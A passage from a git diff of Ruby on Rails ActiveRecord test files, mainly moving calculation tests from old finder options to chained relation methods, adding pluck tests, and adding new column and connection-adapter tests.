     assert_equal 60,   c[2]
   end
 
   def test_should_order_by_grouped_field
-    c = Account.sum(:credit_limit, :group => :firm_id, :order => "firm_id")
+    c = Account.all.merge!(:group => :firm_id, :order => "firm_id").sum(:credit_limit)
     assert_equal [1, 2, 6, 9], c.keys.compact
   end
 
   def test_should_order_by_calculation
-    c = Account.sum(:credit_limit, :group => :firm_id, :order => "sum_credit_limit desc, firm_id")
+    c = Account.all.merge!(:group => :firm_id, :order => "sum_credit_limit desc, firm_id").sum(:credit_limit)
     assert_equal [105, 60, 53, 50, 50], c.keys.collect { |k| c[k] }
     assert_equal [6, 2, 9, 1], c.keys.compact
   end
 
   def test_should_limit_calculation
-    c = Account.sum(:credit_limit, :conditions => "firm_id IS NOT NULL",
-                    :group => :firm_id, :order => "firm_id", :limit => 2)
+    c = Account.all.merge!(:where => "firm_id IS NOT NULL",
+                       :group => :firm_id, :order => "firm_id", :limit => 2).sum(:credit_limit)
     assert_equal [1, 2], c.keys.compact
   end
 
   def test_should_limit_calculation_with_offset
-    c = Account.sum(:credit_limit, :conditions => "firm_id IS NOT NULL",
-                    :group => :firm_id, :order => "firm_id", :limit => 2, :offset => 1)
+    c = Account.all.merge!(:where => "firm_id IS NOT NULL", :group => :firm_id,
+                       :order => "firm_id", :limit => 2, :offset => 1).sum(:credit_limit)
     assert_equal [2, 6], c.keys.compact
   end
 
@@ -155,16 +159,8 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_should_group_by_summed_field_having_condition
-    c = Account.sum(:credit_limit, :group => :firm_id,
-                                   :having => 'sum(credit_limit) > 50')
-    assert_nil        c[1]
-    assert_equal 105, c[6]
-    assert_equal 60,  c[2]
-  end
-
-  def test_should_group_by_summed_field_having_sanitized_condition
-    c = Account.sum(:credit_limit, :group => :firm_id,
-                                   :having => ['sum(credit_limit) > ?', 50])
+    c = Account.all.merge!(:group => :firm_id,
+                       :having => 'sum(credit_limit) > 50').sum(:credit_limit)
     assert_nil        c[1]
     assert_equal 105, c[6]
     assert_equal 60,  c[2]
@@ -178,19 +174,19 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_should_group_by_summed_association
-    c = Account.sum(:credit_limit, :group => :firm)
+    c = Account.group(:firm).sum(:credit_limit)
     assert_equal 50,   c[companies(:first_firm)]
     assert_equal 105,  c[companies(:rails_core)]
     assert_equal 60,   c[companies(:first_client)]
   end
 
   def test_should_sum_field_with_conditions
-    assert_equal 105, Account.sum(:credit_limit, :conditions => 'firm_id = 6')
+    assert_equal 105, Account.where('firm_id = 6').sum(:credit_limit)
   end
 
   def test_should_return_zero_if_sum_conditions_return_nothing
-    assert_equal 0, Account.sum(:credit_limit, :conditions => '1 = 2')
-    assert_equal 0, companies(:rails_core).companies.sum(:id, :conditions => '1 = 2')
+    assert_equal 0, Account.where('1 = 2').sum(:credit_limit)
+    assert_equal 0, companies(:rails_core).companies.where('1 = 2').sum(:id)
   end
 
   def test_sum_should_return_valid_values_for_decimals
@@ -199,24 +195,24 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_should_group_by_summed_field_with_conditions
-    c = Account.sum(:credit_limit, :conditions => 'firm_id > 1',
-                                   :group => :firm_id)
+    c = Account.all.merge!(:where => 'firm_id > 1',
+                       :group => :firm_id).sum(:credit_limit)
     assert_nil        c[1]
     assert_equal 105, c[6]
     assert_equal 60,  c[2]
   end
 
   def test_should_group_by_summed_field_with_conditions_and_having
-    c = Account.sum(:credit_limit, :conditions => 'firm_id > 1',
-                                   :group => :firm_id,
-                                   :having => 'sum(credit_limit) > 60')
+    c = Account.all.merge!(:where => 'firm_id > 1',
+                       :group => :firm_id,
+                       :having => 'sum(credit_limit) > 60').sum(:credit_limit)
     assert_nil        c[1]
     assert_equal 105, c[6]
     assert_nil        c[2]
   end
 
   def test_should_group_by_fields_with_table_alias
-    c = Account.sum(:credit_limit, :group => 'accounts.firm_id')
+    c = Account.group('accounts.firm_id').sum(:credit_limit)
     assert_equal 50,  c[1]
     assert_equal 105, c[6]
     assert_equal 60,  c[2]
@@ -228,14 +224,14 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_should_calculate_grouped_with_invalid_field
-    c = Account.count(:all, :group => 'accounts.firm_id')
+    c = Account.group('accounts.firm_id').count(:all)
     assert_equal 1, c[1]
     assert_equal 2, c[6]
     assert_equal 1, c[2]
   end
 
   def test_should_calculate_grouped_association_with_invalid_field
-    c = Account.count(:all, :group => :firm)
+    c = Account.group(:firm).count(:all)
     assert_equal 1, c[companies(:first_firm)]
     assert_equal 2, c[companies(:rails_core)]
     assert_equal 1, c[companies(:first_client)]
@@ -254,7 +250,7 @@ class CalculationsTest < ActiveRecord::TestCase
     column.expects(:type_cast).with("ABC").returns("ABC")
     Account.expects(:columns).at_least_once.returns([column])
 
-    c = Account.count(:all, :group => :firm)
+    c = Account.group(:firm).count(:all)
     first_key = c.keys.first
     assert_equal Firm, first_key.class
     assert_equal 1, c[first_key]
@@ -262,22 +258,14 @@ class CalculationsTest < ActiveRecord::TestCase
 
   def test_should_calculate_grouped_association_with_foreign_key_option
     Account.belongs_to :another_firm, :class_name => 'Firm', :foreign_key => 'firm_id'
-    c = Account.count(:all, :group => :another_firm)
+    c = Account.group(:another_firm).count(:all)
     assert_equal 1, c[companies(:first_firm)]
     assert_equal 2, c[companies(:rails_core)]
     assert_equal 1, c[companies(:first_client)]
   end
 
-  def test_should_not_modify_options_when_using_includes
-    options = {:conditions => 'companies.id > 1', :include => :firm}
-    options_copy = options.dup
-
-    Account.count(:all, options)
-    assert_equal options_copy, options
-  end
-
   def test_should_calculate_grouped_by_function
-    c = Company.count(:all, :group => "UPPER(#{QUOTED_TYPE})")
+    c = Company.group("UPPER(#{QUOTED_TYPE})").count(:all)
     assert_equal 2, c[nil]
     assert_equal 1, c['DEPENDENTFIRM']
     assert_equal 4, c['CLIENT']
@@ -285,7 +273,7 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_should_calculate_grouped_by_function_with_table_alias
-    c = Company.count(:all, :group => "UPPER(companies.#{QUOTED_TYPE})")
+    c = Company.group("UPPER(companies.#{QUOTED_TYPE})").count(:all)
     assert_equal 2, c[nil]
     assert_equal 1, c['DEPENDENTFIRM']
     assert_equal 4, c['CLIENT']
@@ -305,25 +293,24 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_should_sum_scoped_field_with_conditions
-    assert_equal 8,  companies(:rails_core).companies.sum(:id, :conditions => 'id > 7')
+    assert_equal 8,  companies(:rails_core).companies.where('id > 7').sum(:id)
   end
 
   def test_should_group_by_scoped_field
-    c = companies(:rails_core).companies.sum(:id, :group => :name)
+    c = companies(:rails_core).companies.group(:name).sum(:id)
     assert_equal 7, c['Leetsoft']
     assert_equal 8, c['Jadedpixel']
   end
 
   def test_should_group_by_summed_field_through_association_and_having
-    c = companies(:rails_core).companies.sum(:id, :group => :name,
-                                                  :having => 'sum(id) > 7')
+    c = companies(:rails_core).companies.group(:name).having('sum(id) > 7').sum(:id)
     assert_nil      c['Leetsoft']
     assert_equal 8, c['Jadedpixel']
   end
 
   def test_should_count_selected_field_with_include
-    assert_equal 6, Account.count(:distinct => true, :include => :firm)
-    assert_equal 4, Account.count(:distinct => true, :include => :firm, :select => :credit_limit)
+    assert_equal 6, Account.includes(:firm).count(:distinct => true)
+    assert_equal 4, Account.includes(:firm).select(:credit_limit).count(:distinct => true)
   end
 
   def test_should_not_perform_joined_include_by_default
@@ -339,19 +326,19 @@ class CalculationsTest < ActiveRecord::TestCase
 
   def test_should_count_scoped_select
     Account.update_all("credit_limit = NULL")
-    assert_equal 0, Account.scoped(:select => "credit_limit").count
+    assert_equal 0, Account.all.merge!(:select => "credit_limit").count
   end
 
   def test_should_count_scoped_select_with_options
     Account.update_all("credit_limit = NULL")
-    Account.last.update_column('credit_limit', 49)
-    Account.first.update_column('credit_limit', 51)
+    Account.last.update_columns('credit_limit' => 49)
+    Account.first.update_columns('credit_limit' => 51)
 
-    assert_equal 1, Account.scoped(:select => "credit_limit").count(:conditions => ['credit_limit >= 50'])
+    assert_equal 1, Account.all.merge!(:select => "credit_limit").where('credit_limit >= 50').count
   end
 
   def test_should_count_manual_select_with_include
-    assert_equal 6, Account.count(:select => "DISTINCT accounts.id", :include => :firm)
+    assert_equal 6, Account.all.merge!(:select => "DISTINCT accounts.id", :includes => :firm).count
   end
 
   def test_count_with_column_parameter
@@ -359,16 +346,16 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_count_with_column_and_options_parameter
-    assert_equal 2, Account.count(:firm_id, :conditions => "credit_limit = 50 AND firm_id IS NOT NULL")
+    assert_equal 2, Account.where("credit_limit = 50 AND firm_id IS NOT NULL").count(:firm_id)
   end
 
   def test_should_count_field_in_joined_table
-    assert_equal 5, Account.count('companies.id', :joins => :firm)
-    assert_equal 4, Account.count('companies.id', :joins => :firm, :distinct => true)
+    assert_equal 5, Account.joins(:firm).count('companies.id')
+    assert_equal 4, Account.joins(:firm).count('companies.id', :distinct => true)
   end
 
   def test_should_count_field_in_joined_table_with_group_by
-    c = Account.count('companies.id', :group => 'accounts.firm_id', :joins => :firm)
+    c = Account.all.merge!(:group => 'accounts.firm_id', :joins => :firm).count('companies.id')
 
     [1,6,2,9].each { |firm_id| assert c.keys.include?(firm_id) }
   end
@@ -391,17 +378,33 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_count_with_from_option
-    assert_equal Company.count(:all), Company.count(:all, :from => 'companies')
-    assert_equal Account.count(:all, :conditions => "credit_limit = 50"),
-        Account.count(:all, :from => 'accounts', :conditions => "credit_limit = 50")
-    assert_equal Company.count(:type, :conditions => {:type => "Firm"}),
-        Company.count(:type, :conditions => {:type => "Firm"}, :from => 'companies')
+    assert_equal Company.count(:all), Company.from('companies').count(:all)
+    assert_equal Account.where("credit_limit = 50").count(:all),
+        Account.from('accounts').where("credit_limit = 50").count(:all)
+    assert_equal Company.where(:type => "Firm").count(:type),
+        Company.where(:type => "Firm").from('companies').count(:type)
+  end
+
+  def test_count_with_block_acts_as_array
+    accounts = Account.where('id > 0')
+    assert_equal Account.count, accounts.count { true }
+    assert_equal 0, accounts.count { false }
+    assert_equal Account.where('credit_limit > 50').size, accounts.count { |account| account.credit_limit > 50 }
+    assert_equal Account.count, Account.count { true }
+    assert_equal 0, Account.count { false }
+  end
+
+  def test_sum_with_block_acts_as_array
+    accounts = Account.where('id > 0')
+    assert_equal Account.sum(:credit_limit), accounts.sum { |account| account.credit_limit }
+    assert_equal Account.sum(:credit_limit) + Account.count, accounts.sum{ |account| account.credit_limit + 1 }
+    assert_equal 0, accounts.sum { |account| 0 }
   end
 
   def test_sum_with_from_option
-    assert_equal Account.sum(:credit_limit), Account.sum(:credit_limit, :from => 'accounts')
-    assert_equal Account.sum(:credit_limit, :conditions => "credit_limit > 50"),
-        Account.sum(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50")
+    assert_equal Account.sum(:credit_limit), Account.from('accounts').sum(:credit_limit)
+    assert_equal Account.where("credit_limit > 50").sum(:credit_limit),
+        Account.where("credit_limit > 50").from('accounts').sum(:credit_limit)
   end
 
   def test_sum_array_compatibility
@@ -409,33 +412,67 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_average_with_from_option
-    assert_equal Account.average(:credit_limit), Account.average(:credit_limit, :from => 'accounts')
-    assert_equal Account.average(:credit_limit, :conditions => "credit_limit > 50"),
-        Account.average(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50")
+    assert_equal Account.average(:credit_limit), Account.from('accounts').average(:credit_limit)
+    assert_equal Account.where("credit_limit > 50").average(:credit_limit),
+        Account.where("credit_limit > 50").from('accounts').average(:credit_limit)
   end
 
   def test_minimum_with_from_option
-    assert_equal Account.minimum(:credit_limit), Account.minimum(:credit_limit, :from => 'accounts')
-    assert_equal Account.minimum(:credit_limit, :conditions => "credit_limit > 50"),
-        Account.minimum(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50")
+    assert_equal Account.minimum(:credit_limit), Account.from('accounts').minimum(:credit_limit)
+    assert_equal Account.where("credit_limit > 50").minimum(:credit_limit),
+        Account.where("credit_limit > 50").from('accounts').minimum(:credit_limit)
   end
 
   def test_maximum_with_from_option
-    assert_equal Account.maximum(:credit_limit), Account.maximum(:credit_limit, :from => 'accounts')
-    assert_equal Account.maximum(:credit_limit, :conditions => "credit_limit > 50"),
-        Account.maximum(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50")
+    assert_equal Account.maximum(:credit_limit), Account.from('accounts').maximum(:credit_limit)
+    assert_equal Account.where("credit_limit > 50").maximum(:credit_limit),
+        Account.where("credit_limit > 50").from('accounts').maximum(:credit_limit)
+  end
+
+  def test_maximum_with_not_auto_table_name_prefix_if_column_included
+    Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+
+    # TODO: Investigate why PG isn't being typecast
+    if current_adapter?(:PostgreSQLAdapter) || current_adapter?(:MysqlAdapter)
+      assert_equal "7", Company.includes(:contracts).maximum(:developer_id)
+    else
+      assert_equal 7, Company.includes(:contracts).maximum(:developer_id)
+    end
+  end
+
+  def test_minimum_with_not_auto_table_name_prefix_if_column_included
+    Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+
+    # TODO: Investigate why PG isn't being typecast
+    if current_adapter?(:PostgreSQLAdapter) || current_adapter?(:MysqlAdapter)
+      assert_equal "7", Company.includes(:contracts).minimum(:developer_id)
+    else
+      assert_equal 7, Company.includes(:contracts).minimum(:developer_id)
+    end
+  end
+
+  def test_sum_with_not_auto_table_name_prefix_if_column_included
+    Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+
+    # TODO: Investigate why PG isn't being typecast
+    if current_adapter?(:MysqlAdapter) || current_adapter?(:PostgreSQLAdapter)
+      assert_equal "7", Company.includes(:contracts).sum(:developer_id)
+    else
+      assert_equal 7, Company.includes(:contracts).sum(:developer_id)
+    end
   end
 
+
   def test_from_option_with_specified_index
     if Edge.connection.adapter_name == 'MySQL' or Edge.connection.adapter_name == 'Mysql2'
-      assert_equal Edge.count(:all), Edge.count(:all, :from => 'edges USE INDEX(unique_edge_index)')
-      assert_equal Edge.count(:all, :conditions => 'sink_id < 5'),
-          Edge.count(:all, :from => 'edges USE INDEX(unique_edge_index)', :conditions => 'sink_id < 5')
+      assert_equal Edge.count(:all), Edge.from('edges USE INDEX(unique_edge_index)').count(:all)
+      assert_equal Edge.where('sink_id < 5').count(:all),
+          Edge.from('edges USE INDEX(unique_edge_index)').where('sink_id < 5').count(:all)
     end
   end
 
   def test_from_option_with_table_different_than_class
-    assert_equal Account.count(:all), Company.count(:all, :from => 'accounts')
+    assert_equal Account.count(:all), Company.from('accounts').count(:all)
   end
 
   def test_distinct_is_honored_when_used_with_count_operation_after_group
@@ -446,4 +483,97 @@ class CalculationsTest < ActiveRecord::TestCase
     distinct_authors_for_approved_count = Topic.group(:approved).count(:author_name, :distinct => true)[true]
     assert_equal distinct_authors_for_approved_count, 2
   end
+
+  def test_pluck
+    assert_equal [1,2,3,4], Topic.order(:id).pluck(:id)
+  end
+
+  def test_pluck_type_cast
+    topic = topics(:first)
+    relation = Topic.where(:id => topic.id)
+    assert_equal [ topic.approved ], relation.pluck(:approved)
+    assert_equal [ topic.last_read ], relation.pluck(:last_read)
+    assert_equal [ topic.written_on ], relation.pluck(:written_on)
+  end
+
+  def test_pluck_and_uniq
+    assert_equal [50, 53, 55, 60], Account.order(:credit_limit).uniq.pluck(:credit_limit)
+  end
+
+  def test_pluck_in_relation
+    company = Company.first
+    contract = company.contracts.create!
+    assert_equal [contract.id], company.contracts.pluck(:id)
+  end
+
+  def test_pluck_with_serialization
+    t = Topic.create!(:content => { :foo => :bar })
+    assert_equal [{:foo => :bar}], Topic.where(:id => t.id).pluck(:content)
+  end
+
+  def test_pluck_with_qualified_column_name
+    assert_equal [1,2,3,4], Topic.order(:id).pluck("topics.id")
+  end
+
+  def test_pluck_auto_table_name_prefix
+    c = Company.create!(:name => "test", :contracts => [Contract.new])
+    assert_equal [c.id], Company.joins(:contracts).pluck(:id)
+  end
+
+  def test_pluck_if_table_included
+    c = Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+    assert_equal [c.id], Company.includes(:contracts).where("contracts.id" => c.contracts.first).pluck(:id)
+  end
+
+  def test_pluck_not_auto_table_name_prefix_if_column_joined
+    Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+    assert_equal [7], Company.joins(:contracts).pluck(:developer_id)
+  end
+
+  def test_pluck_with_selection_clause
+    assert_equal [50, 53, 55, 60], Account.pluck('DISTINCT credit_limit').sort
+    assert_equal [50, 53, 55, 60], Account.pluck('DISTINCT accounts.credit_limit').sort
+    assert_equal [50, 53, 55, 60], Account.pluck('DISTINCT(credit_limit)').sort
+
+    # MySQL returns "SUM(DISTINCT(credit_limit))" as the column name unless
+    # an alias is provided.  Without the alias, the column cannot be found
+    # and properly typecast.
+    assert_equal [50 + 53 + 55 + 60], Account.pluck('SUM(DISTINCT(credit_limit)) as credit_limit')
+  end
+
+  def test_plucks_with_ids
+    assert_equal Company.all.map(&:id).sort, Company.ids.sort
+  end
+
+  def test_pluck_not_auto_table_name_prefix_if_column_included
+    Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+    ids = Company.includes(:contracts).pluck(:developer_id)
+    assert_equal Company.count, ids.length
+    assert_equal [7], ids.compact
+  end
+
+  def test_pluck_multiple_columns
+    assert_equal [
+      [1, "The First Topic"], [2, "The Second Topic of the day"],
+      [3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"]
+    ], Topic.order(:id).pluck(:id, :title)
+    assert_equal [
+      [1, "The First Topic", "David"], [2, "The Second Topic of the day", "Mary"],
+      [3, "The Third Topic of the day", "Carl"], [4, "The Fourth Topic of the day", "Carl"]
+    ], Topic.order(:id).pluck(:id, :title, :author_name)
+  end
+
+  def test_pluck_with_multiple_columns_and_selection_clause
+    assert_equal [[1, 50], [2, 50], [3, 50], [4, 60], [5, 55], [6, 53]],
+      Account.pluck('id, credit_limit')
+  end
+
+  def test_pluck_with_multiple_columns_and_includes
+    Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+    companies_and_developers = Company.order('companies.id').includes(:contracts).pluck(:name, :developer_id)
+
+    assert_equal Company.count, companies_and_developers.length
+    assert_equal ["37signals", nil], companies_and_developers.first
+    assert_equal ["test", 7], companies_and_developers.last
+  end
 end
diff --git a/activerecord/test/cases/callbacks_test.rb b/activerecord/test/cases/callbacks_test.rb
index 7f4d25790b..deeef3a3fd 100644
--- a/activerecord/test/cases/callbacks_test.rb
+++ b/activerecord/test/cases/callbacks_test.rb
@@ -1,7 +1,7 @@
 require "cases/helper"
 
 class CallbackDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
+  self.table_name = 'developers'
 
   class << self
     def callback_string(callback_method)
@@ -48,7 +48,7 @@ class CallbackDeveloperWithFalseValidation < CallbackDeveloper
 end
 
 class ParentDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
+  self.table_name = 'developers'
   attr_accessor :after_save_called
   before_validation {|record| record.after_save_called = true}
 end
@@ -58,7 +58,7 @@ class ChildDeveloper < ParentDeveloper
 end
 
 class RecursiveCallbackDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
+  self.table_name = 'developers'
 
   before_save :on_before_save
   after_save :on_after_save
@@ -79,7 +79,7 @@ class RecursiveCallbackDeveloper < ActiveRecord::Base
 end
 
 class ImmutableDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
+  self.table_name = 'developers'
 
   validates_inclusion_of :salary, :in => 50000..200000
 
@@ -98,7 +98,7 @@ class ImmutableDeveloper < ActiveRecord::Base
 end
 
 class ImmutableMethodDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
+  self.table_name = 'developers'
 
   validates_inclusion_of :salary, :in => 50000..200000
 
@@ -118,7 +118,7 @@ class ImmutableMethodDeveloper < ActiveRecord::Base
 end
 
 class OnCallbacksDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
+  self.table_name = 'developers'
 
   before_validation { history << :before_validation }
   before_validation(:on => :create){ history << :before_validation_on_create }
@@ -138,7 +138,7 @@ class OnCallbacksDeveloper < ActiveRecord::Base
 end
 
 class CallbackCancellationDeveloper < ActiveRecord::Base
-  set_table_name 'developers'
+  self.table_name = 'developers'
 
   attr_reader   :after_save_called, :after_create_called, :after_update_called, :after_destroy_called
   attr_accessor :cancel_before_save, :cancel_before_create, :cancel_before_update, :cancel_before_destroy
@@ -426,11 +426,13 @@ class CallbacksTest < ActiveRecord::TestCase
   def test_before_destroy_returning_false
     david = ImmutableDeveloper.find(1)
     assert !david.destroy
+    assert_raise(ActiveRecord::RecordNotDestroyed) { david.destroy! }
     assert_not_nil ImmutableDeveloper.find_by_id(1)
 
     someone = CallbackCancellationDeveloper.find(1)
     someone.cancel_before_destroy = true
     assert !someone.destroy
+    assert_raise(ActiveRecord::RecordNotDestroyed) { someone.destroy! }
     assert !someone.after_destroy_called
   end
 
diff --git a/activerecord/test/cases/coders/yaml_column_test.rb b/activerecord/test/cases/coders/yaml_column_test.rb
index c7dcc21809..b874adc081 100644
--- a/activerecord/test/cases/coders/yaml_column_test.rb
+++ b/activerecord/test/cases/coders/yaml_column_test.rb
@@ -9,6 +9,13 @@ module ActiveRecord
         assert_equal Object, coder.object_class
       end
 
+      def test_type_mismatch_on_different_classes_on_dump
+        coder = YAMLColumn.new(Array)
+        assert_raises(SerializationTypeMismatch) do
+          coder.dump("a")
+        end
+      end
+
       def test_type_mismatch_on_different_classes
         coder = YAMLColumn.new(Array)
         assert_raises(SerializationTypeMismatch) do
diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb
index 14884e42af..bd2fbaa7db 100644
--- a/activerecord/test/cases/column_definition_test.rb
+++ b/activerecord/test/cases/column_definition_test.rb
@@ -126,19 +126,16 @@ module ActiveRecord
 
       if current_adapter?(:PostgreSQLAdapter)
         def test_bigint_column_should_map_to_integer
-          bigint_column = PostgreSQLColumn.new('number', nil, "bigint")
+          oid = PostgreSQLAdapter::OID::Identity.new
+          bigint_column = PostgreSQLColumn.new('number', nil, oid, "bigint")
           assert_equal :integer, bigint_column.type
         end
 
         def test_smallint_column_should_map_to_integer
-          smallint_column = PostgreSQLColumn.new('number', nil, "smallint")
+          oid = PostgreSQLAdapter::OID::Identity.new
+          smallint_column = PostgreSQLColumn.new('number', nil, oid, "smallint")
           assert_equal :integer, smallint_column.type
         end
-
-        def test_uuid_column_should_map_to_string
-          uuid_column = PostgreSQLColumn.new('unique_id', nil, "uuid")
-          assert_equal :string, uuid_column.type
-        end
       end
     end
   end
diff --git a/activerecord/test/cases/column_test.rb b/activerecord/test/cases/column_test.rb
new file mode 100644
index 0000000000..a7b63d15c9
--- /dev/null
+++ b/activerecord/test/cases/column_test.rb
@@ -0,0 +1,87 @@
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ColumnTest < ActiveRecord::TestCase
+      def test_type_cast_boolean
+        column = Column.new("field", nil, "boolean")
+        assert column.type_cast(true)
+        assert column.type_cast(1)
+        assert column.type_cast('1')
+        assert column.type_cast('t')
+        assert column.type_cast('T')
+        assert column.type_cast('true')
+        assert column.type_cast('TRUE')
+        assert column.type_cast('on')
+        assert column.type_cast('ON')
+        assert !column.type_cast(false)
+        assert !column.type_cast(0)
+        assert !column.type_cast('0')
+        assert !column.type_cast('f')
+        assert !column.type_cast('F')
+        assert !column.type_cast('false')
+        assert !column.type_cast('FALSE')
+        assert !column.type_cast('off')
+        assert !column.type_cast('OFF')
+      end
+
+      def test_type_cast_integer
+        column = Column.new("field", nil, "integer")
+        assert_equal 1, column.type_cast(1)
+        assert_equal 1, column.type_cast('1')
+        assert_equal 1, column.type_cast('1ignore')
+        assert_equal 0, column.type_cast('bad1')
+        assert_equal 0, column.type_cast('bad')
+        assert_equal 1, column.type_cast(1.7)
+        assert_nil column.type_cast(nil)
+      end
+
+      def test_type_cast_non_integer_to_integer
+        column = Column.new("field", nil, "integer")
+        assert_raises(NoMethodError) do
+          column.type_cast([])
+        end
+        assert_raises(NoMethodError) do
+          column.type_cast(true)
+        end
+        assert_raises(NoMethodError) do
+          column.type_cast(false)
+        end
+      end
+
+      def test_type_cast_time
+        column = Column.new("field", nil, "time")
+        assert_equal nil, column.type_cast('')
+        assert_equal nil, column.type_cast('  ')
+
+        time_string = Time.now.utc.strftime("%T")
+        assert_equal time_string, column.type_cast(time_string).strftime("%T")
+      end
+
+      def test_type_cast_datetime_and_timestamp
+        [Column.new("field", nil, "datetime"), Column.new("field", nil, "timestamp")].each do |column|
+          assert_equal nil, column.type_cast('')
+          assert_equal nil, column.type_cast('  ')
+
+          datetime_string = Time.now.utc.strftime("%FT%T")
+          assert_equal datetime_string, column.type_cast(datetime_string).strftime("%FT%T")
+        end
+      end
+
+      def test_type_cast_date
+        column = Column.new("field", nil, "date")
+        assert_equal nil, column.type_cast('')
+        assert_equal nil, column.type_cast('  ')
+
+        date_string = Time.now.utc.strftime("%F")
+        assert_equal date_string, column.type_cast(date_string).strftime("%F")
+      end
+
+      def test_type_cast_duration_to_integer
+        column = Column.new("field", nil, "integer")
+        assert_equal 1800, column.type_cast(30.minutes)
+        assert_equal 7200, column.type_cast(2.hours)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb b/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb
new file mode 100644
index 0000000000..3e3d6e2769
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb
@@ -0,0 +1,54 @@
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class AbstractAdapterTest < ActiveRecord::TestCase
+      attr_reader :adapter
+
+      def setup
+        @adapter = AbstractAdapter.new nil, nil
+      end
+
+      def test_in_use?
+        # FIXME: change to refute in Rails 4.0 / mt
+        assert !adapter.in_use?, 'adapter is not in use'
+        assert adapter.lease, 'lease adapter'
+        assert adapter.in_use?, 'adapter is in use'
+      end
+
+      def test_lease_twice
+        assert adapter.lease, 'should lease adapter'
+        assert !adapter.lease, 'should not lease adapter'
+      end
+
+      def test_last_use
+        assert !adapter.last_use
+        adapter.lease
+        assert adapter.last_use
+      end
+
+      def test_expire_mutates_in_use
+        assert adapter.lease, 'lease adapter'
+        assert adapter.in_use?, 'adapter is in use'
+        adapter.expire
+        assert !adapter.in_use?, 'adapter is in use'
+      end
+
+      def test_close
+        pool = ConnectionPool.new(ConnectionSpecification.new({}, nil))
+        pool.insert_connection_for_test! adapter
+        adapter.pool = pool
+
+        # Make sure the pool marks the connection in use
+        assert_equal adapter, pool.connection
+        assert adapter.in_use?
+
+        # Close should put the adapter back in the pool
+        adapter.close
+        assert !adapter.in_use?
+
+        assert_equal adapter, pool.connection
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/connection_handler_test.rb b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
index bd0d161838..17cb447105 100644
--- a/activerecord/test/cases/connection_adapters/connection_handler_test.rb
+++ b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
@@ -7,9 +7,11 @@ module ActiveRecord
         @handler = ConnectionHandler.new
         @handler.establish_connection 'america', Base.connection_pool.spec
         @klass = Class.new do
+          include Model::Tag
           def self.name; 'america'; end
         end
         @subklass = Class.new(@klass) do
+          include Model::Tag
           def self.name; 'north america'; end
         end
       end
@@ -40,8 +42,6 @@ module ActiveRecord
 
       def test_retrieve_connection_pool_uses_superclass_pool_after_subclass_establish_and_remove
         @handler.establish_connection 'north america', Base.connection_pool.spec
-        assert_not_same @handler.retrieve_connection_pool(@klass),
-          @handler.retrieve_connection_pool(@subklass)
 
         @handler.remove_connection @subklass
         assert_same @handler.retrieve_connection_pool(@klass),
diff --git a/activerecord/test/cases/connection_adapters/connection_specification_test.rb b/activerecord/test/cases/connection_adapters/connection_specification_test.rb
new file mode 100644
index 0000000000..ea2196cda2
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/connection_specification_test.rb
@@ -0,0 +1,12 @@
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionSpecificationTest < ActiveRecord::TestCase
+      def test_dup_deep_copy_config
+        spec = ConnectionSpecification.new({ :a => :b }, "bar")
+        assert_not_equal(spec.config.object_id, spec.dup.config.object_id)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/quoting_test.rb b/activerecord/test/cases/connection_adapters/quoting_test.rb
new file mode 100644
index 0000000000..59dcb96ebc
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/quoting_test.rb
@@ -0,0 +1,13 @@
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    module Quoting
+      class QuotingTest < ActiveRecord::TestCase
+        def test_quoting_classes
+          assert_equal "'Object'", AbstractAdapter.new(nil).quote(Object)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/schema_cache_test.rb b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
new file mode 100644
index 0000000000..541e983758
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
@@ -0,0 +1,59 @@
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class SchemaCacheTest < ActiveRecord::TestCase
+      def setup
+        connection = ActiveRecord::Base.connection
+        @cache     = SchemaCache.new connection
+      end
+
+      def test_primary_key
+        assert_equal 'id', @cache.primary_keys['posts']
+      end
+
+      def test_primary_key_for_non_existent_table
